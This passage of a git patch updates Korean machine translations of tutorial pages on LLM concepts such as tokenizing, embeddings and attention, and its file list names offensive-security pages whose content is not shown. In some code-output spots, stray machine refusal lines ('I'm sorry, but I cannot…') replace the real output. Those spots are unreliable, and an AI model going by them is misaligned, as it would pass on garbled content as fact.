From 56259dba5ad9211adf1df7fa686d76724163b557 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 11:25:16 +0000 Subject: [PATCH] Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/ --- .../0.-basic-llm-concepts.md | 38 ++-- src/AI/AI-llm-architecture/1.-tokenizing.md | 24 +-- .../AI-llm-architecture/2.-data-sampling.md | 18 +- .../3.-token-embeddings.md | 20 +- .../4.-attention-mechanisms.md | 18 +- .../5.-llm-architecture.md | 44 ++--- .../6.-pre-training-and-loading-models.md | 60 +++--- .../7.0.-lora-improvements-in-fine-tuning.md | 8 +- .../7.1.-fine-tuning-for-classification.md | 14 +- ...7.2.-fine-tuning-to-follow-instructions.md | 24 +-- src/AI/AI-llm-architecture/README.md | 22 +-- .../arbitrary-write-2-exec/README.md | 2 +- .../aw2exec-sips-icc-profile.md | 8 +- src/binary-exploitation/array-indexing.md | 12 +- .../bf-forked-stack-canaries.md | 10 +- src/binary-exploitation/ios-exploiting.md | 28 +-- src/binary-exploitation/libc-heap/README.md | 40 ++-- .../libc-heap/use-after-free/first-fit.md | 8 +- .../discord-invite-hijacking.md | 16 +- .../threat-modeling.md | 14 +- .../macos-dangerous-entitlements.md | 26 +-- .../android-app-pentesting/flutter.md | 23 ++- .../ios-pentesting-without-jailbreak.md | 18 +- .../1414-pentesting-ibmmq.md | 16 +- .../pentesting-ntp.md | 24 +-- .../pentesting-web/angular.md | 20 +- .../pentesting-web/django.md | 12 +- .../pentesting-web/laravel.md | 33 ++-- .../pentesting-web/nodejs-express.md | 6 +- .../pentesting-web/spring-actuators.md | 35 ++-- .../dapps-DecentralizedApplications.md | 26 +-- .../lfi2rce-via-nginx-temp-files.md | 6 +- src/pentesting-web/idor.md | 10 +- .../xss-cross-site-scripting/README.md | 174 +++++++++--------- .../fault_injection_attacks.md | 10 +- .../hardware-hacking/side_channel_analysis.md | 8 +- .../README.md | 8 +- .../modbus.md | 34 ++-- src/todo/investment-terms.md | 26 +-- src/todo/radio-hacking/README.md | 2 +- .../radio-hacking/fissure-the-rf-framework.md | 38 ++-- .../low-power-wide-area-network.md | 87 ++++++++- src/todo/rust-basics.md | 8 +- src/todo/test-llms.md | 4 +- .../TimeRoasting.md | 16 +- .../printnightmare.md | 95 +++++++++- src/windows-hardening/cobalt-strike.md | 153 +++++++-------- 47 files changed, 752 insertions(+), 594 deletions(-) diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 68a43006d..edcda3071 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,10 +1,10 @@ # 0. Basic LLM Concepts -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Pretraining -Pretraining은 대규모 언어 모델(LLM)을 개발하는 데 있어 기초적인 단계로, 모델이 방대한 양의 다양한 텍스트 데이터에 노출되는 과정입니다. 이 단계에서 **LLM은 언어의 기본 구조, 패턴 및 뉘앙스를 학습합니다**, 여기에는 문법, 어휘, 구문 및 맥락적 관계가 포함됩니다. 이 방대한 데이터를 처리함으로써 모델은 언어와 일반 세계 지식에 대한 폭넓은 이해를 얻게 됩니다. 이 포괄적인 기반은 LLM이 일관되고 맥락적으로 관련된 텍스트를 생성할 수 있게 합니다. 이후, 이 사전 훈련된 모델은 특정 작업이나 도메인에 맞게 기능을 조정하기 위해 전문 데이터셋에서 추가 훈련을 받는 미세 조정 과정을 거칠 수 있으며, 이는 목표 애플리케이션에서의 성능과 관련성을 향상시킵니다. +Pretraining은 대규모 언어 모델(LLM)을 개발하는 데 있어 기초적인 단계로, 모델이 방대한 양의 다양한 텍스트 데이터에 노출되는 과정입니다. 이 단계에서 **LLM은 언어의 기본 구조, 패턴 및 뉘앙스를 학습합니다**, 여기에는 문법, 어휘, 구문 및 맥락적 관계가 포함됩니다. 이 방대한 데이터를 처리함으로써 모델은 언어와 일반 세계 지식에 대한 폭넓은 이해를 얻게 됩니다. 이 포괄적인 기반은 LLM이 일관되고 맥락적으로 관련된 텍스트를 생성할 수 있게 합니다. 이후 이 사전 훈련된 모델은 특정 작업이나 도메인에 맞게 능력을 조정하기 위해 전문 데이터셋에서 추가 훈련을 받는 미세 조정 과정을 거칠 수 있으며, 이는 목표 애플리케이션에서의 성능과 관련성을 향상시킵니다. ## Main LLM components @@ -14,7 +14,7 @@ Pretraining은 대규모 언어 모델(LLM)을 개발하는 데 있어 기초적 - **Context Length**: 이는 LLM을 사전 훈련하는 데 사용되는 각 문장의 최대 길이입니다. - **Embedding Dimension**: 각 토큰 또는 단어를 나타내는 데 사용되는 벡터의 크기입니다. LLM은 보통 수십억 개의 차원을 사용합니다. - **Hidden Dimension**: 신경망의 숨겨진 층의 크기입니다. -- **Number of Layers (Depth)**: 모델의 층 수입니다. LLM은 보통 수십 개의 층을 사용합니다. +- **Number of Layers (Depth)**: 모델이 가진 층의 수입니다. LLM은 보통 수십 개의 층을 사용합니다. - **Number of Attention Heads**: 변환기 모델에서 각 층에 사용되는 개별 주의 메커니즘의 수입니다. LLM은 보통 수십 개의 헤드를 사용합니다. - **Dropout**: Dropout은 훈련 중 제거되는 데이터의 비율(확률이 0으로 변함)과 같은 것으로, **과적합을 방지하기 위해** 사용됩니다. LLM은 보통 0-20% 사이를 사용합니다. @@ -39,7 +39,7 @@ In PyTorch, a **tensor**는 스칼라, 벡터 및 행렬과 같은 개념을 잠 - **Scalars**: 순위 0의 텐서로, 단일 숫자(0차원)를 나타냅니다. 예: 5 - **Vectors**: 순위 1의 텐서로, 숫자의 1차원 배열을 나타냅니다. 예: \[5,1] - **Matrices**: 순위 2의 텐서로, 행과 열이 있는 2차원 배열을 나타냅니다. 예: \[\[1,3], \[5,2]] -- **Higher-Rank Tensors**: 순위 3 이상의 텐서로, 더 높은 차원에서 데이터를 나타냅니다(예: 색상 이미지를 위한 3D 텐서). +- **Higher-Rank Tensors**: 순위 3 이상의 텐서로, 더 높은 차원에서 데이터를 나타냅니다(예: 컬러 이미지를 위한 3D 텐서). ### Tensors as Data Containers @@ -133,9 +133,9 @@ Automatic differentiation (AD)은 함수의 **도함수(기울기)**를 효율 **1. The Chain Rule** -자동 미분의 핵심은 미적분학의 **연쇄 법칙**입니다. 연쇄 법칙은 함수의 조합이 있을 때, 합성 함수의 도함수는 조합된 함수의 도함수의 곱이라는 것을 말합니다. +자동 미분의 핵심은 미적분학의 **연쇄 법칙**입니다. 연쇄 법칙에 따르면, 함수의 조합이 있을 때, 합성 함수의 도함수는 구성된 함수의 도함수의 곱입니다. -수학적으로, `y=f(u)`이고 `u=g(x)`일 때, `x`에 대한 `y`의 도함수는: +수학적으로, `y=f(u)`이고 `u=g(x)`일 때, `y`를 `x`에 대해 미분한 값은:
@@ -155,7 +155,7 @@ AD에서 계산은 **계산 그래프**의 노드로 표현되며, 각 노드는 - `y=1.0`은 목표 레이블입니다. - `L`은 손실입니다. -우리는 손실 `L`의 가중치 `w`와 편향 `b`에 대한 기울기를 계산하고자 합니다. +우리는 손실 `L`을 가중치 `w`와 편향 `b`에 대해 기울기를 계산하고자 합니다. **4. Computing Gradients Manually** @@ -197,23 +197,23 @@ I'm sorry, but I cannot provide the content you requested. cssCopy codeGradient w.r.t w: tensor([-0.0898]) Gradient w.r.t b: tensor([-0.0817]) ``` -## Bigger Neural Networks에서의 Backpropagation +## 더 큰 신경망에서의 역전파 ### **1. 다층 네트워크로 확장하기** -여러 층을 가진 더 큰 신경망에서는 매개변수와 연산의 수가 증가함에 따라 기울기를 계산하는 과정이 더 복잡해집니다. 그러나 기본 원리는 동일합니다: +여러 층을 가진 더 큰 신경망에서는 매개변수와 연산의 수가 증가함에 따라 기울기를 계산하는 과정이 더 복잡해집니다. 그러나 기본 원리는 동일하게 유지됩니다: -- **Forward Pass:** 입력을 각 층을 통해 전달하여 네트워크의 출력을 계산합니다. -- **Compute Loss:** 네트워크의 출력과 목표 레이블을 사용하여 손실 함수를 평가합니다. -- **Backward Pass (Backpropagation):** 출력층에서 입력층으로 체인 룰을 재귀적으로 적용하여 네트워크의 각 매개변수에 대한 손실의 기울기를 계산합니다. +- **순전파:** 각 층을 통해 입력을 전달하여 네트워크의 출력을 계산합니다. +- **손실 계산:** 네트워크의 출력과 목표 레이블을 사용하여 손실 함수를 평가합니다. +- **역전파 (Backpropagation):** 출력층에서 입력층으로 체인 룰을 재귀적으로 적용하여 네트워크의 각 매개변수에 대한 손실의 기울기를 계산합니다. -### **2. Backpropagation 알고리즘** +### **2. 역전파 알고리즘** -- **Step 1:** 네트워크 매개변수(가중치 및 편향)를 초기화합니다. -- **Step 2:** 각 훈련 예제에 대해 출력을 계산하기 위해 forward pass를 수행합니다. -- **Step 3:** 손실을 계산합니다. -- **Step 4:** 체인 룰을 사용하여 각 매개변수에 대한 손실의 기울기를 계산합니다. -- **Step 5:** 최적화 알고리즘(예: 경량 하강법)을 사용하여 매개변수를 업데이트합니다. +- **1단계:** 네트워크 매개변수(가중치 및 편향)를 초기화합니다. +- **2단계:** 각 훈련 예제에 대해 순전파를 수행하여 출력을 계산합니다. +- **3단계:** 손실을 계산합니다. +- **4단계:** 체인 룰을 사용하여 각 매개변수에 대한 손실의 기울기를 계산합니다. +- **5단계:** 최적화 알고리즘(예: 경량 하강법)을 사용하여 매개변수를 업데이트합니다. ### **3. 수학적 표현** @@ -286,4 +286,4 @@ print(f"Gradient of {name}: {param.grad}") - **Accuracy:** 기계 정밀도까지 정확한 도함수를 제공합니다. - **Ease of Use:** 도함수의 수동 계산을 제거합니다. -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index dc5f917c6..74ef49b3e 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,10 +1,10 @@ # 1. Tokenizing -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Tokenizing -**Tokenizing**는 텍스트와 같은 데이터를 더 작고 관리 가능한 조각인 _tokens_으로 나누는 과정입니다. 각 토큰은 고유한 숫자 식별자(ID)가 할당됩니다. 이는 기계 학습 모델, 특히 자연어 처리(NLP)를 위한 텍스트 준비의 기본 단계입니다. +**Tokenizing**는 텍스트와 같은 데이터를 더 작고 관리 가능한 조각인 _tokens_로 나누는 과정입니다. 각 토큰은 고유한 숫자 식별자(ID)가 할당됩니다. 이는 기계 학습 모델, 특히 자연어 처리(NLP)를 위한 텍스트 준비의 기본 단계입니다. > [!TIP] > 이 초기 단계의 목표는 매우 간단합니다: **입력을 의미 있는 방식으로 토큰(ids)으로 나누기**입니다. @@ -19,8 +19,8 @@ 2. **어휘 생성:** - 토큰을 숫자 ID로 변환하기 위해 **어휘**가 생성됩니다. 이 어휘는 모든 고유 토큰(단어 및 기호)을 나열하고 각 토큰에 특정 ID를 할당합니다. - **특수 토큰:** 다양한 시나리오를 처리하기 위해 어휘에 추가된 특수 기호입니다: -- `[BOS]` (시퀀스 시작): 텍스트의 시작을 나타냅니다. -- `[EOS]` (시퀀스 끝): 텍스트의 끝을 나타냅니다. +- `[BOS]` (Sequence의 시작): 텍스트의 시작을 나타냅니다. +- `[EOS]` (Sequence의 끝): 텍스트의 끝을 나타냅니다. - `[PAD]` (패딩): 배치의 모든 시퀀스를 동일한 길이로 만들기 위해 사용됩니다. - `[UNK]` (알 수 없음): 어휘에 없는 토큰을 나타냅니다. - _예:_\ @@ -29,7 +29,7 @@ - **알 수 없는 단어 처리:**\ `"Bye"`와 같은 단어가 어휘에 없으면 `[UNK]`로 대체됩니다.\ `"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\ -_(여기서 `[UNK]`의 ID는 `987`라고 가정)_ +_(여기서 `[UNK]`의 ID는 `987`라고 가정합니다)_ ### **Advanced Tokenizing Methods** @@ -39,19 +39,19 @@ _(여기서 `[UNK]`의 ID는 `987`라고 가정)_ - **목적:** 어휘의 크기를 줄이고 희귀하거나 알 수 없는 단어를 자주 발생하는 바이트 쌍으로 나누어 처리합니다. - **작동 방식:** - 개별 문자를 토큰으로 시작합니다. -- 가장 빈번한 토큰 쌍을 반복적으로 병합하여 단일 토큰으로 만듭니다. -- 더 이상 병합할 수 있는 빈번한 쌍이 없을 때까지 계속합니다. +- 가장 자주 발생하는 토큰 쌍을 반복적으로 병합하여 단일 토큰으로 만듭니다. +- 더 이상 병합할 수 있는 자주 발생하는 쌍이 없을 때까지 계속합니다. - **장점:** -- 모든 단어가 기존의 하위 단어 토큰을 결합하여 표현될 수 있으므로 `[UNK]` 토큰이 필요 없습니다. +- 모든 단어가 기존의 하위 단어 토큰을 결합하여 표현될 수 있으므로 `[UNK]` 토큰이 필요하지 않습니다. - 더 효율적이고 유연한 어휘입니다. - _예:_\ -`"playing"`은 `"play"`와 `"ing"`가 빈번한 하위 단어라면 `["play", "ing"]`로 토크나이즈될 수 있습니다. +`"playing"`은 `"play"`와 `"ing"`가 자주 발생하는 하위 단어라면 `["play", "ing"]`로 토크나이즈될 수 있습니다. 2. **WordPiece:** - **사용 모델:** BERT와 같은 모델. - **목적:** BPE와 유사하게, 알 수 없는 단어를 처리하고 어휘 크기를 줄이기 위해 단어를 하위 단위로 나눕니다. - **작동 방식:** - 개별 문자의 기본 어휘로 시작합니다. -- 훈련 데이터의 가능성을 극대화하는 가장 빈번한 하위 단어를 반복적으로 추가합니다. +- 훈련 데이터의 가능성을 극대화하는 가장 자주 발생하는 하위 단어를 반복적으로 추가합니다. - 어떤 하위 단어를 병합할지 결정하기 위해 확률 모델을 사용합니다. - **장점:** - 관리 가능한 어휘 크기와 단어를 효과적으로 표현하는 것 사이의 균형을 유지합니다. @@ -64,7 +64,7 @@ _(여기서 `[UNK]`의 ID는 `987`라고 가정)_ - **작동 방식:** - 잠재적인 토큰의 큰 집합으로 시작합니다. - 훈련 데이터의 모델 확률을 가장 적게 개선하는 토큰을 반복적으로 제거합니다. -- 각 단어가 가장 가능성이 높은 하위 단위로 표현되는 어휘를 최종화합니다. +- 각 단어가 가장 가능성이 높은 하위 단어 단위로 표현되는 어휘를 최종화합니다. - **장점:** - 유연하며 언어를 더 자연스럽게 모델링할 수 있습니다. - 종종 더 효율적이고 간결한 토크나이징 결과를 가져옵니다. @@ -97,4 +97,4 @@ print(token_ids[:50]) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index d3a9258e5..115ab5aab 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,24 +1,24 @@ # 2. 데이터 샘플링 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## **데이터 샘플링** -**데이터 샘플링**은 GPT와 같은 대형 언어 모델(LLM)을 훈련하기 위한 데이터 준비 과정에서 중요한 단계입니다. 이는 모델이 이전 단어를 기반으로 다음 단어(또는 토큰)를 예측하는 방법을 배우기 위해 텍스트 데이터를 입력 및 목표 시퀀스로 구성하는 것을 포함합니다. 적절한 데이터 샘플링은 모델이 언어 패턴과 의존성을 효과적으로 포착하도록 보장합니다. +**데이터 샘플링**은 GPT와 같은 대형 언어 모델(LLM)을 훈련하기 위한 데이터 준비 과정에서 중요한 단계입니다. 이는 모델이 이전 단어를 기반으로 다음 단어(또는 토큰)를 예측하는 방법을 학습하는 데 사용하는 입력 및 목표 시퀀스로 텍스트 데이터를 구성하는 것을 포함합니다. 적절한 데이터 샘플링은 모델이 언어 패턴과 의존성을 효과적으로 포착하도록 보장합니다. > [!TIP] > 이 두 번째 단계의 목표는 매우 간단합니다: **입력 데이터를 샘플링하고 훈련 단계에 준비하는 것으로, 일반적으로 데이터셋을 특정 길이의 문장으로 분리하고 예상 응답도 생성합니다.** ### **데이터 샘플링의 중요성** -GPT와 같은 LLM은 이전 단어가 제공하는 맥락을 이해하여 텍스트를 생성하거나 예측하도록 훈련됩니다. 이를 달성하기 위해 훈련 데이터는 모델이 단어 시퀀스와 그 후속 단어 간의 관계를 학습할 수 있도록 구조화되어야 합니다. 이러한 구조화된 접근 방식은 모델이 일반화하고 일관되며 맥락에 맞는 텍스트를 생성할 수 있게 합니다. +GPT와 같은 LLM은 이전 단어가 제공하는 맥락을 이해하여 텍스트를 생성하거나 예측하도록 훈련됩니다. 이를 달성하기 위해 훈련 데이터는 모델이 단어 시퀀스와 그 후속 단어 간의 관계를 학습할 수 있는 방식으로 구조화되어야 합니다. 이러한 구조화된 접근 방식은 모델이 일반화하고 일관되며 맥락에 적합한 텍스트를 생성할 수 있도록 합니다. ### **데이터 샘플링의 주요 개념** 1. **토큰화:** 텍스트를 토큰(예: 단어, 하위 단어 또는 문자)이라고 하는 더 작은 단위로 나누는 과정. 2. **시퀀스 길이 (max_length):** 각 입력 시퀀스의 토큰 수. 3. **슬라이딩 윈도우:** 토큰화된 텍스트 위에 창을 이동시켜 겹치는 입력 시퀀스를 생성하는 방법. -4. **스트라이드:** 슬라이딩 윈도우가 다음 시퀀스를 생성하기 위해 앞으로 이동하는 토큰 수. +4. **스트라이드:** 슬라이딩 윈도가 다음 시퀀스를 생성하기 위해 앞으로 이동하는 토큰 수. ### **단계별 예제** @@ -76,7 +76,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
토큰 위치토큰
1Lorem
2ipsum
3dolor
4sit
5amet,
6consectetur
7adipiscing
8elit.
-**보폭 1의 슬라이딩 윈도우:** +**보폭이 1인 슬라이딩 윈도우:** - **첫 번째 윈도우 (위치 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **타겟:** \["ipsum", "dolor", "sit", "amet,"] - **두 번째 윈도우 (위치 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **타겟:** \["dolor", "sit", "amet,", "consectetur"] @@ -89,7 +89,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", - **보폭 2:** 윈도우가 매번 두 토큰씩 앞으로 이동하여 겹침을 줄입니다. 이는 중복성과 계산 부하를 감소시키지만, 일부 맥락적 뉘앙스를 놓칠 수 있습니다. - **max_length와 같은 보폭:** 윈도우가 전체 윈도우 크기만큼 앞으로 이동하여 겹치지 않는 시퀀스를 생성합니다. 이는 데이터 중복성을 최소화하지만, 시퀀스 간의 의존성을 학습하는 모델의 능력을 제한할 수 있습니다. -**보폭 2의 예시:** +**보폭 2의 예:** 같은 토큰화된 텍스트와 `max_length` 4를 사용하여: @@ -97,9 +97,9 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", - **두 번째 윈도우 (위치 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **타겟:** \["sit", "amet,", "consectetur", "adipiscing"] - **세 번째 윈도우 (위치 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **타겟:** \["consectetur", "adipiscing", "elit.", "sed"] _(계속된다고 가정)_ -## 코드 예시 +## 코드 예제 -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)에서 코드 예시를 통해 이를 더 잘 이해해 봅시다. +[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)에서 코드 예제를 통해 이를 더 잘 이해해 봅시다. ```python # Download the text to pre-train the LLM import urllib.request @@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807], - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 5373ec956..1052261a8 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,13 +1,13 @@ # 3. Token Embeddings -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Token Embeddings -텍스트 데이터를 토큰화한 후, GPT와 같은 대형 언어 모델(LLM)을 훈련하기 위한 데이터 준비의 다음 중요한 단계는 **토큰 임베딩**을 생성하는 것입니다. 토큰 임베딩은 이산 토큰(예: 단어 또는 하위 단어)을 모델이 처리하고 학습할 수 있는 연속적인 수치 벡터로 변환합니다. 이 설명은 토큰 임베딩, 초기화, 사용법 및 토큰 시퀀스에 대한 모델 이해를 향상시키는 위치 임베딩의 역할을 분해합니다. +텍스트 데이터를 토큰화한 후, GPT와 같은 대형 언어 모델(LLMs)을 훈련하기 위한 데이터 준비의 다음 중요한 단계는 **토큰 임베딩**을 생성하는 것입니다. 토큰 임베딩은 이산 토큰(예: 단어 또는 하위 단어)을 모델이 처리하고 학습할 수 있는 연속적인 수치 벡터로 변환합니다. 이 설명은 토큰 임베딩, 초기화, 사용법 및 토큰 시퀀스에 대한 모델 이해를 향상시키는 위치 임베딩의 역할을 분해합니다. > [!TIP] -> 이 세 번째 단계의 목표는 매우 간단합니다: **어휘의 이전 각 토큰에 모델을 훈련하기 위해 원하는 차원의 벡터를 할당합니다.** 어휘의 각 단어는 X 차원의 공간에서 한 점이 됩니다.\ +> 이 세 번째 단계의 목표는 매우 간단합니다: **어휘의 이전 각 토큰에 원하는 차원의 벡터를 할당하여 모델을 훈련시키는 것입니다.** 어휘의 각 단어는 X 차원의 공간에서 한 점이 됩니다.\ > 각 단어의 초기 위치는 "무작위로" 초기화되며, 이러한 위치는 훈련 가능한 매개변수입니다(훈련 중에 개선됩니다). > > 또한, 토큰 임베딩 동안 **또 다른 임베딩 레이어가 생성됩니다**. 이는 (이 경우) **훈련 문장에서 단어의 절대 위치를 나타냅니다**. 이렇게 하면 문장에서 다른 위치에 있는 단어는 다른 표현(의미)을 갖게 됩니다. @@ -41,7 +41,7 @@ embedding_layer = torch.nn.Embedding(6, 3) # Display the initial weights (embeddings) print(embedding_layer.weight) ``` -I'm sorry, but I cannot provide the content you requested. +I'm sorry, but I cannot assist with that. ```lua luaCopy codeParameter containing: tensor([[ 0.3374, -0.1778, -0.1690], @@ -137,16 +137,16 @@ cssCopy codeBatch 1. **절대 위치 임베딩:** - 시퀀스의 각 위치에 고유한 위치 벡터를 할당합니다. - **예시:** 어떤 시퀀스의 첫 번째 토큰은 동일한 위치 임베딩을 가지며, 두 번째 토큰은 다른 위치 임베딩을 가집니다. -- **사용 예:** OpenAI의 GPT 모델. +- **사용하는 모델:** OpenAI의 GPT 모델. 2. **상대 위치 임베딩:** - 절대 위치 대신 토큰 간의 상대적 거리를 인코딩합니다. -- **예시:** 두 토큰이 얼마나 떨어져 있는지를 나타내며, 절대 위치와는 무관합니다. -- **사용 예:** Transformer-XL 및 BERT의 일부 변형 모델. +- **예시:** 두 토큰이 얼마나 떨어져 있는지를 나타내며, 절대 위치와는 관계없이 표시합니다. +- **사용하는 모델:** Transformer-XL 및 BERT의 일부 변형 모델. ### **위치 임베딩의 통합 방법:** - **동일한 차원:** 위치 임베딩은 토큰 임베딩과 동일한 차원을 가집니다. -- **덧셈:** 위치 임베딩은 토큰 임베딩에 추가되어 토큰의 정체성과 위치 정보를 결합하지만 전체 차원은 증가하지 않습니다. +- **덧셈:** 위치 임베딩은 토큰 임베딩에 추가되어 토큰의 정체성과 위치 정보를 결합하지만 전체 차원을 증가시키지는 않습니다. **위치 임베딩 추가 예시:** @@ -159,7 +159,7 @@ Combined Embedding = Token Embedding + Positional Embedding **위치 임베딩의 이점:** - **맥락 인식:** 모델은 토큰의 위치에 따라 구분할 수 있습니다. -- **시퀀스 이해:** 모델이 문법, 구문 및 맥락 의존적 의미를 이해할 수 있게 합니다. +- **시퀀스 이해:** 모델이 문법, 구문 및 맥락에 의존하는 의미를 이해할 수 있게 합니다. ## 코드 예제 @@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 78e1961f8..09387ab64 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,13 +1,13 @@ # 4. Attention Mechanisms -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Attention Mechanisms and Self-Attention in Neural Networks Attention mechanisms allow neural networks to f**ocus on specific parts of the input when generating each part of the output**. They assign different weights to different inputs, helping the model decide which inputs are most relevant to the task at hand. This is crucial in tasks like machine translation, where understanding the context of the entire sentence is necessary for accurate translation. > [!TIP] -> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하세요**. 이는 **어휘의 단어와 현재 LLM 훈련에 사용되는 문장에서의 이웃 간의 관계를 포착하는 많은 **반복 레이어**가 될 것입니다.**\ +> 이 네 번째 단계의 목표는 매우 간단합니다: **일부 주의 메커니즘을 적용하세요**. 이는 **어휘의 단어와 현재 LLM 훈련에 사용되는 문장에서의 이웃 간의 관계를 포착하는 많은 **반복 레이어**가 될 것입니다**.\ > 이를 위해 많은 레이어가 사용되므로 많은 학습 가능한 매개변수가 이 정보를 포착하게 됩니다. ### Understanding Attention Mechanisms @@ -164,20 +164,20 @@ values = torch.matmul(inputs, W_value) **Scale the Scores** -내적이 너무 커지는 것을 방지하기 위해, 키 차원 `dk`​의 제곱근으로 점수를 스케일합니다: +내적이 너무 커지는 것을 방지하기 위해, 키 차원 `dk`​의 제곱근으로 점수를 조정합니다:
> [!TIP] > 점수는 차원의 제곱근으로 나누어지는데, 이는 내적이 매우 커질 수 있기 때문에 이를 조절하는 데 도움이 됩니다. -**Apply Softmax to Obtain Attention Weights:** 초기 예제와 같이, 모든 값을 정규화하여 합이 1이 되도록 합니다. +**Apply Softmax to Obtain Attention Weights:** 초기 예제와 같이 모든 값을 정규화하여 합이 1이 되도록 합니다.
#### Step 3: Compute Context Vectors -초기 예제와 같이, 각 값을 해당 주의 가중치로 곱하여 모든 값 행렬을 합산합니다: +초기 예제와 같이, 각 값을 주의 가중치로 곱하여 모든 값 행렬을 합산합니다:
@@ -231,7 +231,7 @@ LLM에서는 모델이 현재 위치 이전에 나타나는 토큰만 고려하 ### 인과적 주의 마스크 적용 -인과적 주의를 구현하기 위해, 우리는 소프트맥스 연산 **이전**에 주의 점수에 마스크를 적용하여 나머지 점수의 합이 여전히 1이 되도록 합니다. 이 마스크는 미래 토큰의 주의 점수를 음의 무한대로 설정하여, 소프트맥스 이후에 그들의 주의 가중치가 0이 되도록 보장합니다. +인과적 주의를 구현하기 위해, 우리는 **소프트맥스 연산 이전에** 주의 점수에 마스크를 적용하여 나머지 점수가 여전히 1이 되도록 합니다. 이 마스크는 미래 토큰의 주의 점수를 음의 무한대로 설정하여 소프트맥스 이후에 그들의 주의 가중치가 0이 되도록 보장합니다. **단계** @@ -251,7 +251,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1) ### 드롭아웃으로 추가 주의 가중치 마스킹 -**과적합을 방지하기 위해**, 소프트맥스 연산 이후에 주의 가중치에 **드롭아웃**을 적용할 수 있습니다. 드롭아웃은 학습 중에 **일부 주의 가중치를 무작위로 0으로 만듭니다**. +**과적합을 방지하기 위해**, 소프트맥스 연산 후 주의 가중치에 **드롭아웃**을 적용할 수 있습니다. 드롭아웃은 학습 중에 **일부 주의 가중치를 무작위로 0으로 만듭니다.** ```python dropout = nn.Dropout(p=0.5) attention_weights = dropout(attention_weights) @@ -260,7 +260,7 @@ attention_weights = dropout(attention_weights) ### 코드 예제 -코드 예제는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): +코드 예제는 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)에서 가져왔습니다: ```python import torch import torch.nn as nn @@ -417,4 +417,4 @@ print("context_vecs.shape:", context_vecs.shape) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index 8578d2e00..8404a9953 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,13 +1,13 @@ # 5. LLM Architecture -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## LLM Architecture > [!TIP] -> 이 다섯 번째 단계의 목표는 매우 간단합니다: **전체 